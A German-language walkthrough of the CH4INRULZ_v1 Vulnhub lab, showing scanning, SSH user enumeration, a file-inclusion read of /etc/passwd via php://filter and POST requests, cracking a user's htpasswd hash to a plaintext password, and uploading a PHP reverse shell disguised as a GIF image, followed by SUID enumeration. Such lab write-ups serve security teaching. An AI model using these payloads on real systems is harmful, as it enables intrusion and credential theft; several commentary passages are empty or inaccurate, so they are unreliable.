CH4INRULZ_v1 - Vulnhub - Level: Medium - Bericht

Medium

Verwendete Tools

nmap
nikto
gobuster
wget
ftp
msfconsole
feroxbuster
wfuzz
curl
gcc
nano
grep
find

Inhaltsverzeichnis

Reconnaissance

┌──(root㉿CCat)-[~]
└─# ARP-Scan
192.168.2.148 08:00:27:6a:3a:f6 PCS Systemtechnik GmbH

Technische Analyse: Durchführung eines ARP-Scans, um Hosts im lokalen Netzwerk zu identifizieren.

Kontextbezogene Bewertung: Identifizierung des Zielsystems mit der IP-Adresse 192.168.2.148 und der MAC-Adresse 08:00:27:6A:3A:F6.

Handlungsorientierte Empfehlungen: Für den Pentester: Die IP-Adresse notieren und für nachfolgende Scans verwenden. Für den Systemadministrator: Netzwerkaktivitäten überwachen und unbekannte Geräte identifizieren.

┌──(root㉿CCat)-[~]
└─# /etc/hosts
192.168.2.148 chain.vln

Technische Analyse: Konfiguration der `/etc/hosts`-Datei, um Hostnamen zu IP-Adressen zuzuordnen.

Kontextbezogene Bewertung: Der Hostname `chain.vln` wird der IP-Adresse 192.168.2.148 zugewiesen.

Handlungsorientierte Empfehlungen: Für den Pentester: Den Hostnamen `chain.vln` anstelle der IP-Adresse verwenden, um die Lesbarkeit zu erhöhen. Für den Systemadministrator: Sicherstellen, dass die Einträge in `/etc/hosts` korrekt und aktuell sind.

┌──(root㉿CCat)-[~]
└─# nmap -sS -sC -sV -A -p- $IP -Pn --min-rate 5000
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-25 23:20 CEST
Nmap scan report for chain.vln (192.168.2.148)
Host is up (0.00013s latency).
Not shown: 65531 closed tcp ports (reset)
PRT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.5
| ftp-syst:
| STAT:
| FTP server status:
| Connected to 192.168.2.199
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 2
| vsFTPd 2.3.5 - secure, fast, stable
|_End of status
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 d4:f8:c1:55:92:75:93:f7:7b:65:dd:2b:94:e8:bb:47 (DSA)
| 2048 3d:24:ea:4f:a2:2a:ca:63:b7:f4:27:0f:d9:17:03:22 (RSA)
|_ 256 e2:54:a7:c7:ef:aa:8c:15:61:20:bd:aa:72:c0:17:88 (ECDSA)
80/tcp open http Apache httpd 2.2.22 ((Ubuntu))
|_http-title: FRANK's Website | Under development
|_http-server-header: Apache/2.2.22 (Ubuntu)
8011/tcp open http Apache httpd 2.2.22 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.2.22 (Ubuntu)
MAC Address: 08:00:27:6A:3A:F6 (racle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 2.6.X
S CPE: cpe:/o:linux:linux_kernel:2.6
S details: Linux 2.6.19 - 2.6.36
Network Distance: 1 hop
Service Info: Ss: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
TRACERUTE
HP RTT ADDRESS
1 0.12 ms chain.vln (192.168.2.148)

Technische Analyse: Nmap-Scan zur Identifizierung offener Ports, laufender Dienste und Betriebssysteminformationen.

Kontextbezogene Bewertung: FTP (Port 21) mit anonymem Login, SSH (Port 22) und HTTP (Ports 80 und 8011) sind offen. Die Apache-Version 2.2.22 und das Linux 2.6.X Kernel werden erkannt.

Handlungsorientierte Empfehlungen: Für den Pentester: Anonymen FTP-Zugriff testen und die HTTP-Dienste auf Schwachstellen untersuchen. Für den Systemadministrator: Die veraltete Software (Apache, OpenSSH, Linux-Kernel) aktualisieren.

Web Enumeration

┌──(root㉿CCat)-[~]
└─# Nikto v2.5.0
+ Target IP: 192.168.2.148
+ Target Hostname: 192.168.2.148
+ Target Port: 80
+ Start Time: 2024-10-25 23:21:44 (GMT2)

+ Server: Apache/2.2.22 (Ubuntu)
+ /: Server may leak inodes via ETags, header found with file /, inode: 1051931, size: 13516, mtime: Sat Apr 14 15:39:32 2018. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418
+ /: The anti-clickjacking X-Frame-ptions header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-ptions
+ /: The X-Content-Type-ptions header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ /index: Uncommon header 'tcn' found, with contents: list.
+ /index: Apache mod_negotiation is enabled with MultiViews, which allows attackers to easily brute force file names. The following alternatives for 'index' were found: index.html, index.html.bak. See: http://www.wisec.it/sectou.php?id=4698ebdc59d15,https://exchange.xforce.ibmcloud.com/vulnerabilities/8275
+ Apache/2.2.22 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EL for the 2.x branch.
+ PTINS: Allowed HTTP Methods: GET, HEAD, PST, PTINS .
+ /css/: Directory indexing found.
+ /css/: This might be interesting.
+ /img/: Directory indexing found.
+ /img/: This might be interesting.
+ /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/
+ /#wp-config.php#: #wp-config.php# file found. This file contains the credentials.
+ /README.md: Readme Found.
+ 9061 requests: 0 error(s) and 14 item(s) reported on remote host
+ End Time: 2024-10-25 23:22:22 (GMT2) (38 seconds)

Technische Analyse: Durchführung eines Nikto-Scans auf Port 80.

Kontextbezogene Bewertung: Der Scan zeigt eine veraltete Apache-Version, fehlende Sicherheitsheader, Directory Indexing in `/css/` und `/img/`, sowie das Vorhandensein von `/icons/README`, `/#wp-config.php#` und `/README.md`.

Handlungsorientierte Empfehlungen: Für den Pentester: Directory Indexing ausnutzen und die gefundenen Dateien untersuchen. Für den Systemadministrator: Veraltete Software aktualisieren und Directory Indexing deaktivieren.

Web Enumeration

┌──(root㉿CCat)-[~]
└─# gobuster dir -u "http://$IP" -w "/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak -b '503,404,403' -e --no-error -k
http://192.168.2.148/index (Status: 200) [Size: 334]
http://192.168.2.148/index.html (Status: 200) [Size: 13516]
http://192.168.2.148/img (Status: 301) [Size: 312] [--> http://192.168.2.148/img/]
http://192.168.2.148/css (Status: 301) [Size: 312] [--> http://192.168.2.148/css/]
http://192.168.2.148/development (Status: 401) [Size: 480]
http://192.168.2.148/js (Status: 301) [Size: 311] [--> http://192.168.2.148/js/]
http://192.168.2.148/vendor (Status: 301) [Size: 315] [--> http://192.168.2.148/vendor/]
http://192.168.2.148/robots (Status: 200) [Size: 21]
http://192.168.2.148/robots.txt (Status: 200) [Size: 21]
http://192.168.2.148/LICENSE (Status: 200) [Size: 1093]

Technische Analyse: Durchführung eines Gobuster-Scans, um versteckte Verzeichnisse und Dateien zu finden.

Kontextbezogene Bewertung: Interessante Verzeichnisse wie `/img`, `/css`, `/js`, `/vendor` und `/development` wurden gefunden. `/development` ist passwortgeschützt (Status 401).

Handlungsorientierte Empfehlungen: Für den Pentester: Die gefundenen Verzeichnisse genauer untersuchen und versuchen, den Passwortschutz von `/development` zu umgehen. Für den Systemadministrator: Den Zugriff auf das `/development`-Verzeichnis korrekt konfigurieren und unnötige Dateien entfernen.

Initial Access

┌──(root㉿CCat)-[~]
└─# wget -r ftp://Anonymous:Anonymous@192.168.2.148
--2024-10-25 23:24:02-- ftp://Anonymous:*password*@192.168.2.148/
=> 192.168.2.148/.listing
Verbindungsaufbau zu 192.168.2.148:21 … verbunden.
Anmelden als Anonymous … Angemeldet!
> SYST ... fertig. > PWD ... fertig.
> TYPE I ... fertig. > CWD nicht notwendig.
> PASV ... fertig. > LIST ... fertig.

192.168.2.148/.listing [ <=> ] 119 --.-KB/s in 0s

2024-10-25 23:24:02 (29,2 MB/s) - „192.168.2.148/.listing“ gespeichert [119]

192.168.2.148/.listing gelöscht.
--2024-10-25 23:24:02-- ftp://Anonymous:*password*@192.168.2.148/
=> 192.168.2.148/index.html
> CWD nicht erforderlich.
> SIZE ... fertig.
> PASV ... fertig. > RETR ...
Die Datei existiert nicht.

Technische Analyse: Versuch, den gesamten FTP-Server mittels `wget` herunterzuladen.

Kontextbezogene Bewertung: Der anonyme Login ist erfolgreich, aber der Download der `index.html` schlägt fehl.

Handlungsorientierte Empfehlungen: Für den Pentester: Verfügbare Dateien auf dem FTP-Server manuell überprüfen. Für den Systemadministrator: Anonymen FTP-Zugriff einschränken und protokollieren.

┌──(root㉿CCat)-[~]
└─# ftp 192.168.2.148
Connected to 192.168.2.148.
220 (vsFTPd 2.3.5)
Name (192.168.2.148:ccat): Anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -la
229 Entering Extended Passive Mode (|||38365|).
150 Here comes the directory listing.
drwxr-xr-x 2 0 111 4096 Apr 13 2018 .
drwxr-xr-x 2 0 111 4096 Apr 13 2018 ..
226 Directory send K.

Technische Analyse: Manuelle Verbindung zum FTP-Server.

Kontextbezogene Bewertung: Der anonyme Login ist erfolgreich und zeigt ein leeres Verzeichnis.

Handlungsorientierte Empfehlungen: Für den Pentester: Keine interessanten Dateien gefunden. Für den Systemadministrator: Anonymen FTP-Zugriff deaktivieren, wenn nicht benötigt.

┌──(root㉿CCat)-[~]
└─# http://192.168.2.148/robots.txt
NTHING here , yet !

Technische Analyse: Abrufen der `/robots.txt`-Datei.

Kontextbezogene Bewertung: Die Datei ist leer und enthält keine Informationen.

Handlungsorientierte Empfehlungen: Für den Pentester: Keine weiteren Schritte erforderlich. Für den Systemadministrator: Die Datei entfernen, wenn sie nicht benötigt wird.

┌──(root㉿CCat)-[~]
└─# msfconsole -q -x "search ssh_enum"
Matching Modules

# Name Disclosure Date Rank Check Description
- ---- -- --
0 auxiliary/scanner/ssh/ssh_enumusers . normal No SSH Username Enumeration
1 \_ action: Malformed Packet . . . Use a malformed packet
2 \_ action: Timing Attack . . . Use a timing attack
3 auxiliary/scanner/ssh/ssh_enum_git_keys . normal No Test SSH Github Access

Interact with a module by name or index. For example info 3, use 3 or use auxiliary/scanner/ssh/ssh_enum_git_keys

Technische Analyse: Verwendung von Metasploit, um nach SSH-Enumerationsmodulen zu suchen.

Kontextbezogene Bewertung: Das Modul `auxiliary/scanner/ssh/ssh_enumusers` wurde gefunden.

Handlungsorientierte Empfehlungen: Für den Pentester: Das gefundene Modul verwenden, um SSH-Benutzernamen aufzuzählen. Für den Systemadministrator: Die SSH-Konfiguration härten, um das Aufzählen von Benutzern zu verhindern.

┌──(root㉿CCat)-[~]
└─# msf6 auxiliary(scanner/ssh/ssh_enumusers) > set USER_FILE /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt USER_FILE => /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt msf6 auxiliary(scanner/ssh/ssh_enumusers) > set THRESHLD 10 THRESHLD => 10 msf6 auxiliary(scanner/ssh/ssh_enumusers) > set THREADS 10 THREADS => 10 msf6 auxiliary(scanner/ssh/ssh_enumusers) > set RPRT 22 RPRT => 22 msf6 auxiliary(scanner/ssh/ssh_enumusers) > set RHSTS 192.168.2.148 RHSTS => 192.168.2.148 msf6 auxiliary(scanner/ssh/ssh_enumusers) > run [*] 192.168.2.148:22 - SSH - Using malformed packet technique [*] 192.168.2.148:22 - SSH - Checking for false positives [*] 192.168.2.148:22 - SSH - Starting scan [+] 192.168.2.148:22 - SSH - User 'mail' found [+] 192.168.2.148:22 - SSH - User 'frank' found [+] 192.168.2.148:22 - SSH - User 'root' found [+] 192.168.2.148:22 - SSH - User 'news' found [+] 192.168.2.148:22 - SSH - User 'man' found [+] 192.168.2.148:22 - SSH - User 'bin' found [+] 192.168.2.148:22 - SSH - User 'games' found [+] 192.168.2.148:22 - SSH - User 'nobody' found [+] 192.168.2.148:22 - SSH - User 'backup' found [+] 192.168.2.148:22 - SSH - User 'proxy' found [+] 192.168.2.148:22 - SSH - User 'list' found ^C[*] Caught interrupt from the console... [*] Auxiliary module execution completed Der Extraktions-Vorgang wurde wegen des großen Umfangs manuell abgebrochen. msf6 auxiliary(scanner/ssh/ssh_enumusers) > ""

Technische Analyse: Verwendung des `ssh_enumusers`-Moduls in Metasploit, um SSH-Benutzernamen aufzuzählen.

Kontextbezogene Bewertung: Die Benutzernamen `mail`, `frank`, `root` und weitere wurden gefunden.

Handlungsorientierte Empfehlungen: Für den Pentester: Die gefundenen Benutzernamen für Brute-Force-Angriffe oder andere Exploits verwenden. Für den Systemadministrator: Die SSH-Konfiguration härten und starke Passwörter erzwingen.

┌──(root㉿CCat)-[~]
└─# feroxbuster --url "http://192.168.2.148:8011" --wordlist /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x .git,.php,.html,.xml,.zip,.7z,.tar,.bak,.sql,.py,.pl,.txt,.jpg,.jpeg,.png,.js,.aac,.ogg,.flac,.alac,.wav,.aiff,.dsd,.mp3,.mp4,.mkv,.phtml -s 200 301 302
200 GET 1l 3w 30c http://192.168.2.148:8011/
200 GET 1l 3w 30c http://192.168.2.148:8011/index.html
301 GET 9l 28w 319c http://192.168.2.148:8011/api => http://192.168.2.148:8011/api/
200 GET 8l 28w 351c http://192.168.2.148:8011/api/index.html
[>--] - 3m 1712250/12350576 18m found:4 errors:0
Caught ctrl+c saving scan state to ferox-http_192_168_2_148:8011-1729892334.state ...
[>--] - 3m 1712631/12350576 18m found:4 errors:0
[>--] - 3m 878164/6175260 5175/s http://192.168.2.148:8011/ [>--] - 3m 832776/6175260 4978/s http://192.168.2.148:8011/api/

Technische Analyse: Durchführung eines Feroxbuster-Scans auf Port 8011.

Kontextbezogene Bewertung: Verzeichnisse wie `/api` wurden gefunden.

Handlungsorientierte Empfehlungen: Für den Pentester: Das `/api`-Verzeichnis untersuchen und auf Schwachstellen testen. Für den Systemadministrator: Den Zugriff auf das `/api`-Verzeichnis beschränken.

┌──(root㉿CCat)-[~]
└─# http://192.168.2.148:8011/api/files_api.php
No parameter called file passed to me

Technische Analyse: Direktes Aufrufen der `files_api.php` ohne Parameter.

Kontextbezogene Bewertung: Fehlermeldung deutet auf die Notwendigkeit eines `file`-Parameters hin.

Handlungsorientierte Empfehlungen: Für den Pentester: Parameter `file` untersuchen. Für den Systemadministrator: Den Zugriff auf die API protokollieren und validieren.

http://192.168.2.148:8011/api/files_api.php?file=/etc/passwd

Technische Analyse: Versuch, die `/etc/passwd`-Datei über die `files_api.php` abzurufen.

Kontextbezogene Bewertung: Es wurde ein Hacker-Versuch festgestellt.

Handlungsorientierte Empfehlungen: Für den Pentester: Andere Dateien testen. Für den Systemadministrator: Angriff erkennen und validieren.

┌──(root㉿CCat)-[~]
└─# wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u "http://192.168.2.148:8011/api/files_api.php?FUZZ=../../../../../../../../etc/passwd" --hc 404 --hh 200
Target: http://192.168.2.148:8011/api/files_api.php?FUZZ=../../../../../../../../etc/passwd

Total requests: 3197
------------------------------------------------------------------------------------------------
ID Response Lines Word Chars Payload
------------------------------------------------------------------------------------------------
000000759: 500 5 L 19 W 174 Ch "file"

Technische Analyse: Testen verschiedener Pfade mit WFuzz.

Kontextbezogene Bewertung: Fehlermeldung.

Handlungsorientierte Empfehlungen: Für den Pentester: Für den Systemadministrator:

┌──(root㉿CCat)-[~]
└─# curl -s "http://192.168.2.148:8011/api/files_api.php?file=php://filter/convert.base64-encode/resource=files_api.php" | base64 -d
This API will be used to communicate with Frank's server
but it's still under development

* web_api.php
* records_api.php
* files_api.php
* database_api.php

Technische Analyse: Code von files_api.php extrahieren

Kontextbezogene Bewertung:Interessantes Ziel.

Handlungsorientierte Empfehlungen: Für den Pentester: Überprüfen. Für den Systemadministrator:

┌──(root㉿CCat)-[~]
└─# curl -X PST -d "file=/etc/passwd" http://192.168.2.148:8011/api/files_api.php
franks website | simple website browser API

root:x:0:0:root:/root:/bin/bash
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101/var/lib/libuuid:/bin/sh
syslog:x:101:103/home/syslog:/bin/false
frank:x:1000:1000:frank,,,:/home/frank:/bin/bash
sshd:x:102:65534/var/run/sshd:/usr/sbin/nologin
ftp:x:103:111:ftp daemon,,,:/srv/ftp:/bin/false

Technische Analyse: Datei von Api abgerufen

Kontextbezogene Bewertung: Hier werden Usernamen und Hashes ersichtlich.

Handlungsorientierte Empfehlungen: Für den Pentester: Hash knacken Für den Systemadministrator: Schutzmaßnahmen ergreifen

Web Enumeration

┌──(root㉿CCat)-[~]
└─# Nikto v2.5.0
+ Target IP: 192.168.2.148
+ Target Hostname: 192.168.2.148
+ Target Port: 80
+ Start Time: 2024-10-26 00:14:11 (GMT2)

+ Server: Apache/2.2.22 (Ubuntu)
+ /: Server may leak inodes via ETags, header found with file /, inode: 1051931, size: 13516, mtime: Sat Apr 14 15:39:32 2018. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418
+ /: The anti-clickjacking X-Frame-ptions header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-ptions
+ /: The X-Content-Type-ptions header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ /index: Uncommon header 'tcn' found, with contents: list.
+ /index: Apache mod_negotiation is enabled with MultiViews, which allows attackers to easily brute force file names. The following alternatives for 'index' were found: index.html, index.html.bak. See: http://www.wisec.it/sectou.php?id=4698ebdc59d15,https://exchange.xforce.ibmcloud.com/vulnerabilities/8275
+ Apache/2.2.22 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EL for the 2.x branch.
+ PTINS: Allowed HTTP Methods: GET, HEAD, PST, PTINS .
+ /css/: Directory indexing found.
+ /css/: This might be interesting.
+ /img/: Directory indexing found.
+ /img/: This might be interesting.
+ /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/
+ /#wp-config.php#: #wp-config.php# file found. This file contains the credentials.
+ /README.md: Readme Found.
+ 9061 requests: 0 error(s) and 14 item(s) reported on remote host
+ End Time: 2024-10-26 00:15:04 (GMT2) (53 seconds)

Technische Analyse: Hier werden wichtige Dateien von Port 80 aufgerufen und extrahiert.

Kontextbezogene Bewertung: Dies sollte nicht öffentlich ersichtlich sein.

Handlungsorientierte Empfehlungen: Für den Pentester: Für den Systemadministrator:

┌──(root㉿CCat)-[~]
└─# wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u "http://192.168.2.148/index.html.FUZZ" --hc 404 --hh 13516
Total requests: 20573
┌──(root㉿CCat)-[~]
└─# download: http://192.168.2.148/index.html.bak
┌──(root㉿CCat)-[~]
└─# cat index.html.bak
It works!
This is the default web page for this server.
The web server software is running but no content has been added, yet.
href="/development" > development
-- I will use frank:$apr1$1oIGDEDK$/aVFPluYt56UvslZMBDoC0 as the .htpasswd file to protect the development path -->

Technische Analyse: Hinweis auf Hash

Kontextbezogene Bewertung: Wir bekommen den Hash für frank.

Handlungsorientierte Empfehlungen: Für den Pentester: Hash zum knacken abspeichern. Für den Systemadministrator:

┌──(root㉿CCat)-[~]
└─# echo 'frank:$apr1$1oIGDEDK$/aVFPluYt56UvslZMBDoC0' > hash
""

Technische Analyse:Abspeichern des Hash

Kontextbezogene Bewertung:

Handlungsorientierte Empfehlungen: Für den Pentester: Hash nun knacken mit John Für den Systemadministrator:

┌──(root㉿CCat)-[~]
└─# john --wordlist=/usr/share/wordlists/rockyou.txt hash
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3])
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
frank!!! (frank)

Use the "--show" option to display all of the cracked passwords reliably
Session completed

Technische Analyse:Frank Passwort wurde geknackt

Kontextbezogene Bewertung: Frank : Frank!!!

Handlungsorientierte Empfehlungen: Für den Pentester: Anmelden als Frank Für den Systemadministrator: Passwort ändern

┌──(root㉿CCat)-[~]
└─# http://192.168.2.148/development/
Here is my unfinished tools list
- the uploader tool (finished but need security review)

Technische Analyse:Hier kann ein Uploader entdeckt werden

Kontextbezogene Bewertung: Interessant für den Pentester

Handlungsorientierte Empfehlungen: Für den Pentester: Nun den Upload Bereich untersuchen Für den Systemadministrator: Nicht öffentlich zugänglich machen und Code prüfen

┌──(root㉿CCat)-[~]
└─# DirBuster 1.0-RC1 - Report
http://www.owasp.org/index.php/Category:WASP_DirBuster_Project
Report produced on Sat ct 26 00:32:37 CEST 2024
--

http://192.168.2.148:80
--
Directories found during testing:

Dirs found with a 200 response:

/development/
/development/uploader/
/
/img/
/vendor/
/vendor/jquery/
/vendor/bootstrap/
/vendor/bootstrap/js/
/vendor/jquery-easing/
/vendor/devicons/
/js/
/vendor/font-awesome/
/vendor/simple-line-icons/
/vendor/bootstrap/css/
/vendor/devicons/css/
/vendor/devicons/fonts/
/vendor/font-awesome/css/
/vendor/font-awesome/fonts/
/vendor/simple-line-icons/css/
/vendor/font-awesome/less/
/vendor/simple-line-icons/fonts/
/vendor/font-awesome/scss/
/vendor/simple-line-icons/less/
/vendor/simple-line-icons/scss/

Dirs found with a 403 response:

/cgi-bin/
/icons/
/doc/

http://www.owasp.org/index.php/Category:WASP_DirBuster_Project
Report produced on Sat ct 26 00:32:37 CEST 2024
--

http://192.168.2.148:80
--
Files found during testing:

Files found with a 200 responce:
/development/uploader/upload.php
Files found with a 200 responce:
Files found with a 200 responce:
/vendor/jquery/jquery.min.js
/vendor/bootstrap/js/bootstrap.bundle.min.js
/vendor/jquery-easing/jquery.easing.min.js
/js/resume.min.js
/vendor/jquery/jquery.js
/vendor/jquery/jquery.min.map
/vendor/bootstrap/js/bootstrap.bundle.js
/vendor/jquery/jquery.slim.js
/vendor/bootstrap/js/bootstrap.bundle.js.map
/vendor/jquery-easing/jquery.easing.compatibility.js
/vendor/jquery/jquery.slim.min.js
/vendor/bootstrap/js/bootstrap.bundle.min.js.map
/vendor/jquery/jquery.slim.min.map
/vendor/jquery-easing/jquery.easing.js
/vendor/bootstrap/js/bootstrap.js
/js/resume.js
/vendor/bootstrap/js/bootstrap.js.map
/vendor/bootstrap/js/bootstrap.min.js
/vendor/bootstrap/css/bootstrap-grid.css
/vendor/bootstrap/js/bootstrap.min.js.map
/vendor/bootstrap/css/bootstrap-grid.min.css
/vendor/bootstrap/css/bootstrap-reboot.css
/vendor/devicons/css/devicons.css
/vendor/devicons/css/devicons.css

Technische Analyse:Dirbuster scan wurde durchgeführt

Kontextbezogene Bewertung: Interessante Ordner und Dateien gefunden

Handlungsorientierte Empfehlungen: Für den Pentester: Alle Ordner und Dateien überprüfen Für den Systemadministrator: nicht benötigte ordner entfernen.

┌──(root㉿CCat)-[~]
└─# http://192.168.2.148/development/uploader/
Fr
Select image to upload:

TD : script security "50% FINISHED"

Technische Analyse:Upload Seite entdeckt.

Kontextbezogene Bewertung:Es kann eine Datei hochgeladen werden, aber es ist noch nicht ganz fertig.

Handlungsorientierte Empfehlungen: Für den Pentester: Für den Systemadministrator:

┌──(root㉿CCat)-[~]
└─# PST /development/uploader/upload.php HTTP/1.1
Sorry, file already exists.Sorry, only JPG, JPEG, PNG & GIF files are allowed.Sorry,
your file was not uploaded.

Technische Analyse:Er zeigt was erlaubt wird und was nicht

Kontextbezogene Bewertung:Es wird geprüft

Handlungsorientierte Empfehlungen: Für den Pentester:Dateiendung ändern. Für den Systemadministrator:Dateiendungen prüfen und Code.

┌──(root㉿CCat)-[~]
└─# Burpsuite Request
PST /development/uploader/upload.php HTTP/1.1
Host: 192.168.2.148
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=414132928025951700493781756825
Content-Length: 5864
rigin: http://192.168.2.148
DNT: 1
Authorization: Basic ZnJhbms6ZnJhbmshISE=
Connection: keep-alive
Referer: http://192.168.2.148/development/uploader/
Upgrade-Insecure-Requests: 1
Sec-GPC: 1
Priority: u=0, i

--414132928025951700493781756825
Content-Disposition: form-data; name="fileToUpload"; filename="shell2.php.jpg"
Content-Type: image/jpeg

GIF89a;


// php-reverse-shell - A Reverse Shell implementation in PHP
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
//
// This tool may be used for legal purposes only. Users take full responsibility
// for any actions performed using this tool. The author accepts no liability
// for damage caused by this tool. If these terms are not acceptable to you, then
// do not use this tool.
//
// In all other respects the GPL version 2 applies:

Technische Analyse: Anfrage mit Burpsuite

Kontextbezogene Bewertung: Die wichtigsten Informationen für die Analyse werden herausgefiltert.

Handlungsorientierte Empfehlungen: Für den Pentester: Für den Systemadministrator:

┌──(root㉿CCat)-[~]
└─# Response:
HTTP/1.1 200 K
Date: Sat, 26 ct 2024 00:36:28 GMT
Server: Apache/2.2.22 (Ubuntu)
X-Powered-By: PHP/5.3.10-1ubuntu3.26
Vary: Accept-Encoding
Content-Length: 91
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html

File is an image - image/gif.The file shell2.php.jpg has been uploaded to my uploads path.

Technische Analyse: Erfolgreicher Response

Kontextbezogene Bewertung: Code wurde erfolgreich geladen.

Handlungsorientierte Empfehlungen: Für den Pentester: Im uploads ordner nach der Datei suchen Für den Systemadministrator:

┌──(root㉿CCat)-[~]
└─# vi test.txt

Technische Analyse:Hier wurde die Datei bearbeitet

Kontextbezogene Bewertung:Um die Dateien zu untersuchen wurde nun eine Liste erstellt

Handlungsorientierte Empfehlungen: Für den Pentester: Für den Systemadministrator:

┌──(root㉿CCat)-[~]
└─# wfuzz -c -w test.txt -u "http://192.168.2.148/development/uploader/FUZZ" --hc 404 --hh 13516
Total requests: 5
* FRANuploadsd *Uploading *uploadingFrank *uploads *FRANSuploads
#

Technische Analyse:Hier sind 5 Verbindungen entstanden

Kontextbezogene Bewertung:

Handlungsorientierte Empfehlungen: Für den Pentester: Für den Systemadministrator:

┌──(root㉿CCat)-[~]
└─# DirBuster
http://192.168.2.148/development/uploader/FRANKuploads/

Technische Analyse:Hier wird das Zielverzeichnis angezeigt

Kontextbezogene Bewertung:Hier liegt das Ergebnis für die hochgeladene Datei

Handlungsorientierte Empfehlungen: Für den Pentester: Aufrufen Für den Systemadministrator:

┌──(root㉿CCat)-[~]
└─# http://192.168.2.148/development/uploader/FRANKuploads/
Index of /development/uploader/FRANKuploads
Name Last modified Size Description
Parent Directory -
shell2.php.jpg 25-Oct-2024 17:36 5.4K

Technische Analyse: Die php wurde als .jpg hochgeladen

Kontextbezogene Bewertung:

Handlungsorientierte Empfehlungen: Für den Pentester: Für den Systemadministrator:

┌──(root㉿CCat)-[~]
└─# curl -X PST "http://192.168.2.148:8011/api/files_api.php" -d "file=/var/www/development/uploader/FRANKuploads/shell2.gif"
#
File is an image - image/gif.The file shell2.gif has been uploaded to my uploads path.

Technische Analyse: Es wird versucht die hochgeladene datei mit der API abzuruften

Kontextbezogene Bewertung:Es wird angezeigt, das die Datei auch noch ein bild ist Handlungsorientierte Empfehlungen: Für den Pentester: Für den Systemadministrator:

Privilege Escalation

┌──(root㉿CCat)-[~]
└─# find / -type f -perm -4000 -ls 2>/dev/null
656308 236 -rwsr-xr-x 1 root root 240984 Aug 11 2016 /usr/lib/openssh/ssh-keysign
656308 236 -rwsr-xr-x 1 root root 240984 Aug 11 2016 /usr/lib/openssh/ssh-keysign

Technische Analyse: Auflistung von SUID-Dateien.

Kontextbezogene Bewertung: Suche nach potenziellen Zielen zur Rechteausweitung.

Handlungsorientierte Empfehlungen: Für den Pentester: SSH-keysign wurde gefunden. Für den Systemadministrator: SUID-Rechte überprüfen.

┌──(root㉿CCat)-[~]
└─# find / -type f -perm -4000 -ls 2>/dev/null | grep "\/bin\/"
393259 84 -rwsr-xr-x 1 root root 82256 Mar 22 2010 /bin/mount
393277 36 -rwsr-xr-x 1 root root 35648 Jul 28 2010 /bin/ping
393260 56 -rwsr-xr-x 1 root root 56648 Mar 22 2010 /bin/umount
393249 36 -rwsr-xr-x 1 root root 36864 Jan 26 2010 /bin/su
393326 32 -rwsr-xr-x 1 root root 31376 Jan 26 2010 /bin/fusermount
